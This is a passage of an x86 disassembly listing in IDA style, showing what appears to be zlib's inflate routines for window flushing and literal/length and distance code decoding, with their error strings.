[ebp+arg_4] mov edx, [ecx+10h] mov [ebp+var_C], edx loc_409E74: ; CODE XREF: sub_409E20+49j cmp [ebp+var_C], 0 jz short loc_409E87 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_409E87 mov [ebp+arg_8], 0 loc_409E87: ; CODE XREF: sub_409E20+58j ; sub_409E20+5Ej mov eax, [ebp+arg_4] mov ecx, [eax+10h] sub ecx, [ebp+var_C] mov edx, [ebp+arg_4] mov [edx+10h], ecx mov eax, [ebp+arg_4] mov ecx, [eax+14h] add ecx, [ebp+var_C] mov edx, [ebp+arg_4] mov [edx+14h], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+38h], 0 jz short loc_409ED8 mov ecx, [ebp+var_C] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+38h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+3Ch], eax mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] mov [edx+30h], ecx loc_409ED8: ; CODE XREF: sub_409E20+8Cj cmp [ebp+var_C], 0 jz short loc_409F04 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_4] push ecx call sub_411634 ; memcpy add esp, 0Ch mov edx, [ebp+var_4] add edx, [ebp+var_C] mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax loc_409F04: ; CODE XREF: sub_409E20+BCj mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz loc_409FE0 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+34h] cmp ecx, [eax+2Ch] jnz short loc_409F36 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [edx+34h], ecx loc_409F36: ; CODE XREF: sub_409E20+108j mov edx, [ebp+arg_0] mov eax, [edx+34h] sub eax, [ebp+var_8] mov [ebp+var_C], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] cmp edx, [ecx+10h] jbe short loc_409F56 mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov [ebp+var_C], ecx loc_409F56: ; CODE XREF: sub_409E20+12Bj cmp [ebp+var_C], 0 jz short loc_409F69 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_409F69 mov [ebp+arg_8], 0 loc_409F69: ; CODE XREF: sub_409E20+13Aj ; sub_409E20+140j mov edx, [ebp+arg_4] mov eax, [edx+10h] sub eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [ecx+10h], eax mov edx, [ebp+arg_4] mov eax, [edx+14h] add eax, [ebp+var_C] mov ecx, [ebp+arg_4] mov [ecx+14h], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+38h], 0 jz short loc_409FBA mov eax, [ebp+var_C] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_0] mov eax, [edx+3Ch] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+38h] add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+3Ch], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov [eax+30h], edx loc_409FBA: ; CODE XREF: sub_409E20+16Ej mov eax, [ebp+var_C] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_4] push edx call sub_411634 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] add eax, [ebp+var_C] mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_C] mov [ebp+var_8], ecx loc_409FE0: ; CODE XREF: sub_409E20+EDj mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx+0Ch], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+30h], edx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_409E20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409FF9 proc near ; CODE XREF: sub_40AF6D+1C4p ; sub_40AF6D+FADp var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 1Ch push 1 mov eax, [ebp+arg_10] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_10] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40A047 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dl, [ebp+arg_0] mov [ecx+10h], dl mov eax, [ebp+var_4] mov cl, [ebp+arg_4] mov [eax+11h], cl mov edx, [ebp+var_4] mov eax, [ebp+arg_8] mov [edx+14h], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [ecx+18h], edx loc_40A047: ; CODE XREF: sub_409FF9+1Fj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_409FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A04E proc near ; CODE XREF: sub_40AF6D+1080p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_40A0A5 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_30], eax jmp short loc_40A0B1 ; --------------------------------------------------------------------------- loc_40A0A5: ; CODE XREF: sub_40A04E+44j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_30], edx loc_40A0B1: ; CODE XREF: sub_40A04E+55j mov eax, [ebp+var_30] mov [ebp+var_28], eax loc_40A0B7: ; CODE XREF: sub_40A04E:loc_40AD74j mov ecx, [ebp+var_10] mov edx, [ecx] mov [ebp+var_34], edx cmp [ebp+var_34], 9 ja loc_40AD15 mov eax, [ebp+var_34] jmp off_40AD7D[eax*4] loc_40A0D3: ; DATA XREF: HSho:off_40AD7Do cmp [ebp+var_28], 102h jb loc_40A1D9 cmp [ebp+var_2C], 0Ah jb loc_40A1D9 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_10] mov eax, [edx+14h] push eax mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+11h] push edx mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+10h] push ecx call sub_40CE56 add esp, 18h mov [ebp+arg_8], eax mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_40A1A7 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_38], eax jmp short loc_40A1B3 ; --------------------------------------------------------------------------- loc_40A1A7: ; CODE XREF: sub_40A04E+146j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_38], edx loc_40A1B3: ; CODE XREF: sub_40A04E+157j mov eax, [ebp+var_38] mov [ebp+var_28], eax cmp [ebp+arg_8], 0 jz short loc_40A1D9 mov ecx, [ebp+arg_8] sub ecx, 1 neg ecx sbb ecx, ecx and ecx, 2 add ecx, 7 mov edx, [ebp+var_10] mov [edx], ecx jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A1D9: ; CODE XREF: sub_40A04E+8Cj ; sub_40A04E+96j ... mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+10h] mov edx, [ebp+var_10] mov [edx+0Ch], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [ecx+14h] mov [eax+8], edx mov eax, [ebp+var_10] mov dword ptr [eax], 1 loc_40A1FC: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD81o mov ecx, [ebp+var_10] mov edx, [ecx+0Ch] mov [ebp+var_20], edx loc_40A205: ; CODE XREF: sub_40A04E+25Cj mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_40A2AF cmp [ebp+var_2C], 0 jz short loc_40A220 mov [ebp+arg_8], 0 jmp short loc_40A27B ; --------------------------------------------------------------------------- loc_40A220: ; CODE XREF: sub_40A04E+1C7j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A27B: ; CODE XREF: sub_40A04E+1D0j mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_40A205 ; --------------------------------------------------------------------------- loc_40A2AF: ; CODE XREF: sub_40A04E+1BDj mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4132F8[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+8] lea edx, [ecx+edx*8] mov [ebp+var_14], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_C] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_24] sub edx, ecx mov [ebp+var_24], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov [ebp+var_18], ecx cmp [ebp+var_18], 0 jnz short loc_40A312 mov edx, [ebp+var_10] mov eax, [ebp+var_14] mov ecx, [eax+4] mov [edx+8], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 6 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A312: ; CODE XREF: sub_40A04E+2A8j mov eax, [ebp+var_18] and eax, 10h test eax, eax jz short loc_40A342 mov ecx, [ebp+var_18] and ecx, 0Fh mov edx, [ebp+var_10] mov [edx+8], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_14] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_10] mov dword ptr [eax], 2 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A342: ; CODE XREF: sub_40A04E+2CCj mov ecx, [ebp+var_18] and ecx, 40h test ecx, ecx jnz short loc_40A36C mov edx, [ebp+var_10] mov eax, [ebp+var_18] mov [edx+0Ch], eax mov ecx, [ebp+var_14] mov edx, [ecx+4] mov eax, [ebp+var_14] lea ecx, [eax+edx*8] mov edx, [ebp+var_10] mov [edx+8], ecx jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A36C: ; CODE XREF: sub_40A04E+2FCj mov eax, [ebp+var_18] and eax, 20h test eax, eax jz short loc_40A384 mov ecx, [ebp+var_10] mov dword ptr [ecx], 7 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A384: ; CODE XREF: sub_40A04E+326j mov edx, [ebp+var_10] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A3F9: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD85o mov ecx, [ebp+var_10] mov edx, [ecx+8] mov [ebp+var_20], edx loc_40A402: ; CODE XREF: sub_40A04E+459j mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_40A4AC cmp [ebp+var_2C], 0 jz short loc_40A41D mov [ebp+arg_8], 0 jmp short loc_40A478 ; --------------------------------------------------------------------------- loc_40A41D: ; CODE XREF: sub_40A04E+3C4j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A478: ; CODE XREF: sub_40A04E+3CDj mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_40A402 ; --------------------------------------------------------------------------- loc_40A4AC: ; CODE XREF: sub_40A04E+3BAj mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4132F8[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+4] add ecx, edx mov edx, [ebp+var_10] mov [edx+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_10] xor eax, eax mov al, [edx+11h] mov ecx, [ebp+var_10] mov [ecx+0Ch], eax mov edx, [ebp+var_10] mov eax, [ebp+var_10] mov ecx, [eax+18h] mov [edx+8], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 3 loc_40A4FE: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD89o mov eax, [ebp+var_10] mov ecx, [eax+0Ch] mov [ebp+var_20], ecx loc_40A507: ; CODE XREF: sub_40A04E+55Ej mov edx, [ebp+var_24] cmp edx, [ebp+var_20] jnb loc_40A5B1 cmp [ebp+var_2C], 0 jz short loc_40A522 mov [ebp+arg_8], 0 jmp short loc_40A57D ; --------------------------------------------------------------------------- loc_40A522: ; CODE XREF: sub_40A04E+4C9j mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A57D: ; CODE XREF: sub_40A04E+4D2j mov eax, [ebp+var_2C] sub eax, 1 mov [ebp+var_2C], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_24] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_24] add edx, 8 mov [ebp+var_24], edx jmp loc_40A507 ; --------------------------------------------------------------------------- loc_40A5B1: ; CODE XREF: sub_40A04E+4BFj mov eax, [ebp+var_20] mov ecx, [ebp+var_C] and ecx, dword_4132F8[eax*4] mov edx, [ebp+var_10] mov eax, [edx+8] lea ecx, [eax+ecx*8] mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_C] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_24] sub edx, ecx mov [ebp+var_24], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov [ebp+var_18], ecx mov edx, [ebp+var_18] and edx, 10h test edx, edx jz short loc_40A626 mov eax, [ebp+var_18] and eax, 0Fh mov ecx, [ebp+var_10] mov [ecx+8], eax mov edx, [ebp+var_10] mov eax, [ebp+var_14] mov ecx, [eax+4] mov [edx+0Ch], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 4 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A626: ; CODE XREF: sub_40A04E+5B0j mov eax, [ebp+var_18] and eax, 40h test eax, eax jnz short loc_40A650 mov ecx, [ebp+var_10] mov edx, [ebp+var_18] mov [ecx+0Ch], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] lea eax, [edx+ecx*8] mov ecx, [ebp+var_10] mov [ecx+8], eax jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40A650: ; CODE XREF: sub_40A04E+5E0j mov edx, [ebp+var_10] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance code" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A6C5: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD8Do mov ecx, [ebp+var_10] mov edx, [ecx+8] mov [ebp+var_20], edx loc_40A6CE: ; CODE XREF: sub_40A04E+725j mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_40A778 cmp [ebp+var_2C], 0 jz short loc_40A6E9 mov [ebp+arg_8], 0 jmp short loc_40A744 ; --------------------------------------------------------------------------- loc_40A6E9: ; CODE XREF: sub_40A04E+690j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A744: ; CODE XREF: sub_40A04E+699j mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_40A6CE ; --------------------------------------------------------------------------- loc_40A778: ; CODE XREF: sub_40A04E+686j mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4132F8[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+0Ch] add ecx, edx mov edx, [ebp+var_10] mov [edx+0Ch], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 5 loc_40A7B0: ; CODE XREF: sub_40A04E+7Ej ; DATA XREF: HSho:0040AD91o mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] sub ecx, [eax+28h] mov edx, [ebp+var_10] cmp ecx, [edx+0Ch] jnb short loc_40A7DF mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] sub ecx, [eax+28h] mov edx, [ebp+var_10] mov eax, [edx+0Ch] sub eax, ecx mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, eax mov [ebp+var_3C], edx jmp short loc_40A7EB ; --------------------------------------------------------------------------- loc_40A7DF: ; CODE XREF: sub_40A04E+771j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] sub ecx, [eax+0Ch] mov [ebp+var_3C], ecx loc_40A7EB: ; CODE XREF: sub_40A04E+78Fj mov edx, [ebp+var_3C] mov [ebp+var_1C], edx loc_40A7F1: ; CODE XREF: sub_40A04E+96Bj mov eax, [ebp+var_10] cmp dword ptr [eax+4], 0 jz loc_40A9BE cmp [ebp+var_28], 0 jnz loc_40A96A mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_40A858 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_40A858 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_40A846 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_40], edx jmp short loc_40A852 ; --------------------------------------------------------------------------- loc_40A846: ; CODE XREF: sub_40A04E+7E5j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_40], ecx loc_40A852: ; CODE XREF: sub_40A04E+7F6j mov edx, [ebp+var_40] mov [ebp+var_28], edx loc_40A858: ; CODE XREF: sub_40A04E+7C3j ; sub_40A04E+7D1j cmp [ebp+var_28], 0 jnz loc_40A96A mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_40A8A7 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_44], ecx jmp short loc_40A8B3 ; --------------------------------------------------------------------------- loc_40A8A7: ; CODE XREF: sub_40A04E+846j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_44], eax loc_40A8B3: ; CODE XREF: sub_40A04E+857j mov ecx, [ebp+var_44] mov [ebp+var_28], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+2Ch] jnz short loc_40A909 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+28h] jz short loc_40A909 mov ecx, [ebp+arg_0] mov edx, [ecx+28h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_40A8F7 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_48], eax jmp short loc_40A903 ; --------------------------------------------------------------------------- loc_40A8F7: ; CODE XREF: sub_40A04E+896j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_48], edx loc_40A903: ; CODE XREF: sub_40A04E+8A7j mov eax, [ebp+var_48] mov [ebp+var_28], eax loc_40A909: ; CODE XREF: sub_40A04E+874j ; sub_40A04E+882j cmp [ebp+var_28], 0 jnz short loc_40A96A mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40AD79 ; --------------------------------------------------------------------------- loc_40A96A: ; CODE XREF: sub_40A04E+7B4j ; sub_40A04E+80Ej ... mov [ebp+arg_8], 0 mov ecx, [ebp+var_8] mov edx, [ebp+var_1C] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_28] sub eax, 1 mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] cmp edx, [ecx+2Ch] jnz short loc_40A9AA mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_1C], ecx loc_40A9AA: ; CODE XREF: sub_40A04E+951j mov edx, [ebp+var_10] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_10] mov [ecx+4], eax jmp 